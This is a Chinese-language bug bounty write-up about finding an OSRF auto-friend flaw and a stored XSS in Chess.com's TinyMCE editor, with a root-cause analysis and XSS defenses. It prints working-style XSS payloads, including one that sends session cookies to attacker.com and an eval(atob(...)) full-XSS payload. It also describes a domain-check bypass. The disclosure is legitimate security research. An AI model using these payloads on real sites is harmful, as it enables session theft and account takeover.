事先声明一下,这次的攻防活动是在Chess.com官方的“BUG赏金任务”框架内完成的,并且严格遵守了规定的范围,以及按要求审查了个人身份信息。然后漏洞是在一年多前报告的,已经过了9个月的公开时间,现在经过官方确认,可以对外公开。
这篇文章主要介绍了如何用网络安全知识,在互联网上排名第一的国际象棋网站Chess.com上发现 XSS,并进行有效的攻击和防御。其中包括一个不那么严重,但很好玩的 OSRF 漏洞!
在2023 年初开始,就经常在 chess.com 网站下棋。偶然的一次与网友聊天时,得知只要他们也注册了该网站,并使用该网站提供的浏览主页功能,就可以立即成为我的站内好友。
这个功能让我想起了大约 2005 年的MySpace 蠕虫病毒,当时 Samy Kamkar 在他的个人主页中注入一些代码,这些代码会让任何访问过它的主页的人,都会自动成为他的好友。同时会将相同的代码,再注入到这些访问人的主页中,等其他人再访问这些主页时,也会成为他的好友。
于是乎也想尝试一下这种方法,先在网站中创建了一个新帐户。然后检查时发现一个好玩的现象,创建帐户后,它竟然发送了一个GET请求到
htttps://chess.com/registration-invite?hash=XXX
这就意味着,如果能让其他人请求这个 URL,那么他们就会自动成为我的好友。好巧不巧刚好网站中,有一个具有图像上传功能的TinyMCE文本编辑器!
先确认一下,当插入图像链接时URL 是直接嵌入的,还是会有一些安全处理来防止请求伪造。
原来Chess.com 是通过将图像重新上传到内容服务器,然后将图像 URL 指向该服务器端来处理。然后我在想,如果使用根域名为Chess.com 的链接呢?它还会被重新上传吗?这很重要,特别是当链接到特定的 URL时,比如……
果然不出所料,我切换到我的alt帐户,导航到我的主帐户的个人主页,然后检查我的alt的朋友列表,它已经成功地添加了我的主帐户。
竟然真的奏效了,哈哈。其实在bug赏金活动期间,网站开发人员试图实现一个block,因为当我试图再次复制时,出现了以下错误信息:
虽然报错,但基本不影响接下来的操作。通过设置一个包含chess.com的子域名,并将其重定向到/registration-invite,就可以再次绕过。
访问个人主页时的样子:
在发现并报告了这个bug之后,我又在想能不能再通过TinyMCE编辑器得到XSS呢? 别激动,继续往下看。
在使用编辑器玩了一会儿之后,我意识到如果不使用Burp的代理之类的东西,来拦截保存About描述的请求并直接注入原始HTML代码(在编辑器中编写的任何内容都被视为文本),不会走得太远。当然,正如所期望的那样,已经有了删除任何非白名单属性和标记的预防措施——所以让我们看看什么是允许的。
查看站点上的TinyMCE配置(可以在TinyMCE -lazy-client.js文件中找到它),对于img标记,背景图像样式属性,位于Allow列表中,不会被过滤掉。这是一个很好的机会,但我想知道是否重新上传图像的任何外部URL功能也被应用于属性。先试一下吧,让我们看看使用以下有效负载会发生什么。
<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url(https://test.com/);"> <p>
当我打开个人主页的时候,看到它确实传递了URL,但在这个过程中,某个地方出现严重的错误,“”被附加到新链接的开头。这导致style属性过早关闭,URL被转换为额外的属性!
因为添加未经过滤的属性是可能的,所以我想弄清楚,如何生成服务器可以操纵的有效负载,以便在图像加载时运行javascript。在URL中,/ 好像是被用作分隔符,它之间的每个元素都被添加为新属性。所以我试着 url('https://test.com/onload')
为了弄清楚如何添加有效负载,我尝试对所有符号进行模糊分析,看看每个符号如何改变最终结果。通过这个策略,算出可以加一个 ? 要修改后续的属性数据(虽然会有一个警告,您将无法使用?符号,在负载的其余部分),使用以下方法:
<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url(https://images.chesscomfiles.com/?/onload=alert);"> <p>
现在有另一个问题:最后的final"每次都会抛出一个语法错误,阻止代码运行。继续用 // 来注释掉并测试一个基本的alert(1)
<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url('https://images.chesscomfiles.com/?/onload=alert(1);//');"> <p>
突然发现括号被过滤了,这就意味着无法使用任何参数调用任何函数了。继续用 ’ ^&[]’$ %等符号,还是被过滤。再试一下将变量 ,x设置为4。值得庆幸的是,= 号没有被过滤掉。
<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url(https://images.chesscomfiles.com/?/onload='x=2;//');" /></p>
在有效负载中使用‘ 符号,会弄乱 JS(编码为 %27)并引发语法错误。突然想到这 %27也可以解释为模数运算的结束部分,是不是会让浏览器执行操作,然后执行变量赋值呢,再尝试一下有效负载:
<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url(https://images.chesscomfiles.com/?/onload=4';x=2;//');" /></p>
哦耶,现在已经取得进展了。再试一下是否可以将一些内置变量(例如document.cookie)修改为字符串。但新问题又来了,因为定义新字符串的常用方法,都是使用引号或反引号,但它们会被过滤掉。
于是乎在传说中的谷歌中搜索了一下,终于找到了一个可行的方法。
定义一个正则表达式,然后从源属性获取字符串! 将其合并到有效的负载中,并尝试覆盖PHPSESSID cookie。
<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url(https://images.chesscomfiles.com/?/onload=4';document.cookie=/PHPSESSID=invalid/.source;//');" /></p>
覆盖 cookie 的方法是不错,但还是需要提取当前设置的 cookie, 以获得更显着的效果。再次尝试设置文档和位置变量,将用户重定向到他们拥有的站点,添加 cookie 作为参数,但问题是不能使用符号?,如前边所提到的。
再次尝试在路径中设置像http:attacker.com/sensitivedata这样的东西,又需要使用 / 符号,但是已经使用它通过regex将整个URL格式化为字符串了。思考了很久,又想到不一定需要 / 符号,手动输入字符呢?因为它一直用于目录路径,因此必须已经有一个 JavaScript 变量包含在内,可以添加它!试了一下,很快发现location.pathname
这是最终的有效负载:
<p><img src="https://www.pngmart.com/files/22/Penguin-PNG-Photos.png" style="display: block; margin: 0 auto; background-image: url(https://images.chesscomfiles.com/?/onload=4';document.location=/http:attacker.com/.source+location.pathname+document.cookie;//');" /></p>
最后得出结论,可以在没有HttpOnly 或任何其他存储的 JavaScript 对象的情况下,也能提取 cookie。当然了,这个BUG也必须报告给官网的安全团队。
成功走到这一步,说实话还是很有成就感的。但搞技术的人,都是一根经,感觉没有获得完整的XSS,混身不舒服,于是决定继续往下走。
先回到最初的问题,即使用立即关闭属性的url()样式
background-image,并将剩余的 URL 添加为未过滤的属性。如果将url()部件移动到另一个更直接的属性(例如,srcset而不是在样式中使用),会怎么样呢?
虽然可能性不大,但处理方式略有不同,因此使用更多符号来实现更广泛的 JS 语法,从而获得完整的XSS
<p><img src="a.png" style="display: block; margin: 0 auto;" srcset=url(https://images.chesscomfiles.com/onerror=eval(atob("YWxlcnQoMSk=)));2+4//></p>
这里不需要使用 ?符号,并且( ," 符号没有编码,直接导致可以对任何有效负载,进行 Base64 并直接执行。
最重要的是, TinyMCE 文本编辑器系统,不仅在个人主页About Me页面中使用,而且几乎在网站上的任何地方都使用,包括论坛和博客中的评论!
正如文中所述,背后的根本问题,是重新上传图像功能。通过在域名中包含 chess.com,可以轻松欺骗检查图像是否在 chess.com 上的系统。相反,它应该检查根域是否等于chess.com,或者无论来源是什么,都应将图像重新上传。
文本编辑器是获得 XSS 的桥梁,因为它们允许不同的 HTML 元素。必须获取原始 HTML 并直接嵌入它,而不是接受输入并将其仅视为文本。这就是为什么为可以采用的元素和属性配置允许列表如此重要,以及确保 RTE 始终正常运行。
然而,在这种情况下,TinyMCE 是最新的,并且已正确配置为不允许脚本标记和属性。问题是,当输入个人资料的代码时,它首先对其进行了清理,但它是在运行额外的代码(例如重新上传功能)之前执行此操作的,这导致最终的 HTML 完全不同并且没有经过清理来重新检查。
如果chess.com想要保留RTE,它应该确保在最终呈现给用户的HTML上直接运行清理。尽管HTML修改是由重新上传函数修改URL引起的,并且在技术上修复了它将阻止这种特定的攻击向量,但另一个函数可能会做类似的事情。因此,有必要直接解决清理问题!
最后,这里还有一些关于研究结果的额外细节:
1.如果你想知道为什么我不直接使用friend.chess.com来利用OSRF,在我的测试过程中,chess.com改变了它的功能,我只能让chess.com/registration-invite工作……
2.谷歌不允许建立一个chess.com子域名,并且在几周后,我的域名被标记为“钓鱼网站”。所以不得不联系他们,解释了一翻并手动删除了,因为它会影响我的整个域名。
3. 在数据提取过程中,无法将数据作为参数导出,尝试将数据设置为子域,如http:sensitivedata.attacker.com。这样可以使用多级通配符DNS系统,并使用Cloudflare worker之类的东西,来记录所请求的子域。然而,这样设置更复杂,所以没有再去深入挖掘。
4.另外,除了使用Burp在About文本编辑器中,拦截和发送原始数据之外,还可以使用Python等脚本语言手动发送POST请求
防范XSS攻击的方法:
1.输入验证和过滤:在服务器端对用户输入进行验证和过滤,确保只接受合法、经过验证的数据。
2.转义字符:对输出到页面的数据进行适当的字符转义,以防止恶意脚本被解释执行。
3.HTTP Only Cookie: 使用HTTP Only Cookie标记,限制JavaScript对Cookie的访问,降低攻击者窃取Cookie的可能性。
4.内容安全策略(CSP): 配置CSP,限制页面加载外部资源的能力,减少XSS攻击的可能性。
5.最小权限原则: 给予用户最小的权限,限制他们能够执行的操作,以减轻潜在的攻击影响。
总结:
XSS是一个常见但可预防的安全漏洞,需要开发人员在设计和实施Web应用程序时采取适当的安全措施。通过合理的输入验证、输出转义、Cookie管理和内容安全策略等方法,可以有效地降低XSS攻击的风险。